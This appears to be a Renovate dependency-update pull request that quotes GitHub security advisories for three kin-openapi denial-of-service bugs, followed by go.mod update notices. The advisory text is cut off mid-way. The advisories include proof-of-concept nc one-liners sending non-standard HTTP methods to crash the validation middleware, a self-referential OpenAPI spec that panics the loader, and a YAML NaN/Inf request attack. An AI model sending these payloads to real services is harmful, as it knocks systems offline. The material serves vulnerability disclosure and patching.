• https://github.com/advisories/GHSA-mmfr-pmjx-hw9w

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

kin-openapi: Unauthenticated panic (DoS) in openapi3filter legacy router via non-canonical/unsupported HTTP method on a static path

CVE-2026-100347 / GHSA-fh4f-47mf-f2gj

More information

Details

Summary

The openapi3filter.ValidationHandler (the exported, documented request-validation middleware) hard-wires the legacy router (routers/legacy). That router matches the incoming request method verbatim against a trie built exclusively from upper-cased canonical HTTP methods. A request carrying a method token that is not one of the 9 standard methods — a legitimate-but-unsupported token such as PROPFIND, or a non-canonical case variant such as lowercase get — misses the trie, leaves route == nil, and for an existing static path falls through to PathItem.GetOperation(method), whose default: case calls panic(...). The panic fires inside route resolution, before any authentication runs. This is an unauthenticated, remotely triggerable denial of service (recovered per-connection panic + unbounded error-log growth).

Root Cause

• openapi3filter/validation_handler.go:39 — ValidationHandler.Load() always constructs legacyrouter.NewRouter(doc); there is no alternative router option on this path.
• routers/legacy/router.go:109 — the request method is used verbatim (method, url := req.Method, ...); there is no canonicalization or rejection of unknown method tokens.
• routers/legacy/router.go:69-70 — the trie is populated with strings.ToUpper(method) keys taken from pathItem.Operations() (canonical http.Method* constants only).
• routers/legacy/router.go:141 — root.Match(method + " " + remainingPath) misses for a non-canonical/unsupported method → route == nil.
• routers/legacy/router.go:146-150 — in the route == nil block, doc.Paths.Value(path) returns non-nil for an existing static path, and control reaches pathItem.GetOperation(method).
• openapi3/path_item.go:174 — GetOperation's switch method has no matching case → default: panic(fmt.Errorf("unsupported HTTP method %q", method)).

Impact

An unauthenticated attacker sends a single request with a non-standard HTTP method token to any existing static path. The handler goroutine panics; Go's net/http recovers the panic per connection (process survives), aborts the connection (client sees a reset / 500), and logs a full stack trace. Repeated requests cause connection churn and unbounded http: panic serving log growth, and the request never reaches authentication. Availability impact (A:L) under the default synchronous ValidationHandler middleware; on non-net/http hosts or when reached on an application goroutine the ceiling is a full crash.

Proof of Concept

Serve any spec with a static path (e.g. /ping) behind openapi3filter.ValidationHandler, then:

printf 'PROPFIND /ping HTTP/1.1\r\nHost: x\r\n\r\n' | nc target 8080   # connection aborted (panic)
printf 'get /ping HTTP/1.1\r\nHost: x\r\n\r\n'      | nc target 8080   # connection aborted (panic)
printf 'GET /ping HTTP/1.1\r\nHost: x\r\n\r\n'      | nc target 8080   # 200 OK (process survived)

Reproduced end-to-end against a real net/http.Server + ValidationHandler: PROPFIND /ping and lowercase get /ping both abort the connection with a panic at path_item.go:174 (stack: GetOperation <- legacy.FindRoute router.go:150 <- ValidationHandler.validateRequest validation_handler.go:84); the process stays alive and subsequent GET /ping returns 200.

Attack Chain

1. Entry: unauthenticated PROPFIND /ping HTTP/1.1 (any known static path). Guard: net/http method validation. Bypass proof: net/http accepts any valid HTTP token as a method — PROPFIND and lowercase get both reach the handler.
2. Route match: legacy/router.go:141 root.Match("PROPFIND /ping"). Guard: trie match. Bypass proof: trie holds only upper-cased canonical methods → miss → route == nil.
3. route == nil block: router.go:146 doc.Paths.Value("/ping") → non-nil for an existing static path (exact map lookup). Guard: pathItem == nil check (l.147). Bypass proof: static path exists → not nil → proceeds.
4. Sink: router.go:150 pathItem.GetOperation("PROPFIND") → path_item.go:174 default: panic(...).
5. Impact: handler goroutine panics; net/http recovers per connection; request never reaches auth.

Bypass Evidence

• net/http does NOT reject non-standard method tokens — confirmed empirically: PROPFIND and lowercase get both reached the handler and panicked.
• No canonicalization/rejection exists between FindRoute entry and GetOperation; req.Method is used verbatim (router.go:109).
• git show v0.144.0:openapi3/path_item.go shows panic(...) at line 174; git show v0.144.0:routers/legacy/router.go shows verbatim method use and the unguarded GetOperation call. git log v0.144.0..HEAD on these files is empty (no post-tag fix).

Scoping Note

The panic requires the request path to be an exact static (non-templated) key in the served spec. A concrete path against a /{id} template returns a clean 500 (not a panic), because Paths.Value is an exact map lookup. Static paths (/health, /login, /version, /metrics, /ping, /) are ubiquitous in real specs and discoverable from public specs/standard endpoints, so a vulnerable target almost always exists. This makes the finding arguably broader than existing panic advisories, as it needs no special spec construct — any static path suffices.

Affected Versions

<= 0.144.0 (present on the latest release tag v0.144.0; long-standing; no patched version).

Suggested Fix

In the legacy router, canonicalize/validate the request method before route resolution and return ErrMethodNotAllowed/ErrPathNotFound for unknown methods, or make PathItem.GetOperation return an error (nil) for unrecognized methods instead of calling panic.

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

• https://github.com/getkin/kin-openapi/security/advisories/GHSA-fh4f-47mf-f2gj
• https://nvd.nist.gov/vuln/detail/CVE-2026-100347
• https://github.com/getkin/kin-openapi/commit/f1a5b523b82868d2d9be2e116b4e942892be72c3
• https://github.com/getkin/kin-openapi/releases/tag/v0.145.0
• https://github.com/advisories/GHSA-fh4f-47mf-f2gj

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

kin-openapi spec loader panics on a self-referential additionalProperties $ref (nil-pointer DoS)

CVE-2026-100348 / GHSA-mh7x-f8wq-4jhx

More information

Details

The defect

Confirmed at HEAD (f0407d5, v0.144.0). openapi3/loader.go, inside resolveComponent's drill closure (around line 455), the case *SchemaRef branch for pathPart == "additionalProperties" dereferences c.Value.AdditionalProperties with no nil-check on c.Value:

case *SchemaRef:
    if pathPart == "additionalProperties" {
        if ap := c.Value.AdditionalProperties.Has; ap != nil {   // c.Value can be nil here
            cursor = *ap
        } else {
            cursor = c.Value.AdditionalProperties.Schema
        }
        attempted = true
    }

When a $ref fragment drills through .../additionalProperties of a schema whose Value is still nil (a pure, not-yet-resolved $ref, or a self-reference resolved before its own Value is set), c.Value is nil and the .AdditionalProperties access panics.

Input and attacker

A tiny crafted OpenAPI document, one schema, no external refs, no network:

openapi: 3.0.3
info: {title: t, version: "1.0.0"}
paths: {}
components:
  schemas:
    A:
      $ref: '#/components/schemas/A/additionalProperties'

Attacker model: any service or tool that loads an untrusted spec via the default openapi3.Loader (LoadFromData / LoadFromFile / LoadFromURI), e.g. a spec registry, an API-management platform ingesting user specs, a linter, or a converter. It crashes during LOAD (ResolveRefsIn), before Validate.

Verification level

EXECUTED with negative controls (agent-run go test at HEAD f0407d5, including yesterday's security merge; the bug is still present). The full stack pins LoadFromData:196 -> ResolveRefsIn:274 -> resolveSchemaRef:1048 -> resolveComponent:485 -> drill:439 -> :455, propagating to main(); no recover() in loader.go/schema.go (grep + trace). Two negative controls stay clean: drilling additionalProperties of a resolved schema loads fine (the existing TestIssue376 happy path), and a normal recursive schema loads fine, so the nil Value is specifically the cause. I independently re-confirmed at HEAD that loader.go:455 dereferences c.Value.AdditionalProperties with no nil-check on c.Value. NOT verified: I did not enumerate every consumer's recover posture.

Suggested fix

Add if c.Value == nil { break } (fall through to the nil-safe drillIntoField) before touching c.Value.AdditionalProperties. One line.

Also cleared (stated, not claimed)

The allOf/anyOf $ref diamond does not blow up: Schema.validate threads its stack through the return and never pops it, acting as a global pointer-keyed visited-set (executed N=10..30, microseconds). External-ref SSRF/path-traversal is blocked by default (IsExternalRefsAllowed=false); the known custom-ReadFromURIFunc bypass is the already-banked downstream oasdiff item.

Advisory-source note

Five-source enumeration: every kin-openapi advisory (CVE-2025-30153 plus the five fresh July-2026 GHSAs) is in openapi3filter (request validation); this finding is in the openapi3 loader, untouched by that systematic reporter and flagged un-analyzed by the prior oasdiff scout. Not contested on the loader surface as of today (a systematic hunter could pivot, so it decays; submit reasonably promptly).

Dedup

Dedup gate clean: no kin-openapi loader verdict in COVERED-INDEX, DISCLOSURE-INDEX or SCOUT-EXCLUDE (the one DISCLOSURE-INDEX hit is report #​313, the downstream oasdiff, a different repo/lane).

Tooling

AI assistance was used while investigating. The panic is executed-verified with negative controls (a one-schema self-referential additionalProperties $ref crashes LoadFromData while a resolved additionalProperties and a normal recursive schema load fine), and I confirmed at HEAD that loader.go:455 dereferences c.Value.AdditionalProperties with no nil-check on c.Value, on a load path with no recover.

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

• https://github.com/getkin/kin-openapi/security/advisories/GHSA-mh7x-f8wq-4jhx
• https://nvd.nist.gov/vuln/detail/CVE-2026-100348
• https://github.com/getkin/kin-openapi/commit/88aa64c7cbd03ecadbb419c473bdcaa8b0124c6b
• https://github.com/getkin/kin-openapi/releases/tag/v0.145.0
• https://github.com/advisories/GHSA-mh7x-f8wq-4jhx

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

kin-openapi: YAML NaN/Inf Values Bypass Built-in Guards and Panic via OAS 3.1 Validation Path

CVE-2026-100352 / GHSA-rj39-cv6w-8wv7

More information

Details

Summary

kin-openapi guards against NaN and Inf values in its built-in schema visitor (visitJSON) by returning ErrSchemaInputNaN / ErrSchemaInputInf when a float64 input violates those constraints. For OAS 3.1 specs, however, Schema.VisitJSON routes through useJSONSchema2020, which hands the value directly to santhosh-tekuri/jsonschema/v6 v6.0.2 without applying the same guard.

Inside jsonschema/v6 v6.0.2, numValidate builds a *big.Rat from the input via big.Rat.SetString(fmt.Sprintf("%v", v)). For NaN/Inf this parse fails silently and returns nil. numValidate then dereferences the nil *big.Rat (in math/big.(*Rat).Cmp), producing a Go runtime panic.

An attacker delivers this by sending an HTTP request with Content-Type: application/yaml (or application/x-yaml) and a YAML body containing .nan, .inf, or -.inf. The YamlBodyDecoder decodes those tokens into math.NaN() / math.Inf(±1) (standard YAML 1.2 behavior), and they propagate to the unguarded useJSONSchema2020 path whenever the schema declares a numeric constraint (minimum, maximum, exclusiveMinimum, exclusiveMaximum, or multipleOf).

Details

Root Cause

The built-in visitor visitJSON at openapi3/schema.go:1968 guards NaN/Inf explicitly:

case float64:
    if math.IsNaN(value) {
        return ErrSchemaInputNaN
    }
    if math.IsInf(value, 0) {
        return ErrSchemaInputInf
    }

For OAS 3.1 specs, VisitJSON dispatches to useJSONSchema2020 (openapi3/schema_jsonschema_validator.go:204), which contains no such guard:

func (schema *Schema) useJSONSchema2020(settings *schemaValidationSettings, value any) error {
    validator, err := newJSONSchemaValidator(schema)
    if err != nil {
        return schema.visitJSON(settings, value)
    }
    return validator.validate(value)      // value handed straight through
}

jsonSchemaValidator.validate calls jsonschema/v6.Schema.Validate (line 146), which reaches numValidate in v6.0.2. There, big.Rat.SetString(fmt.Sprintf("%v", v)) returns (nil, false) for NaN/Inf, and the code dereferences the nil *big.Rat in Rat.Cmp, causing the panic.

Proof of Concept

Environment

• kin-openapi v0.144.0 (tag v0.144.0, commit f0407d5)
• santhosh-tekuri/jsonschema/v6 v6.0.2 (transitive dep)
• Go 1.26.7

Spec

Minimal OAS 3.1 spec (spec.yaml) declaring a YAML body with a numeric constraint:

openapi: '3.1.0'
info: { title: Test, version: '1.0' }


> [!IMPORTANT]
> ✂ PR body was truncated to here.

[renovate]

ℹ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

• 3 additional dependencies were updated
• The go directive was updated for compatibility reasons

Details:

Package	Change
go	1.21 -> 1.22.5
github.com/go-openapi/jsonpointer	v0.19.5 -> v0.21.0
github.com/go-openapi/swag	v0.19.5 -> v0.23.0
github.com/mailru/easyjson	v0.0.0-20190626092158-b2ccc519800e -> v0.7.7

[renovate]

ℹ️ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

• 2 additional dependencies were updated
• The go directive was updated for compatibility reasons

Details:

Package	Change
go	1.21 -> 1.25
github.com/go-openapi/jsonpointer	v0.19.5 -> v0.22.5
golang.org/x/tools	v0.1.9 -> v0.6.0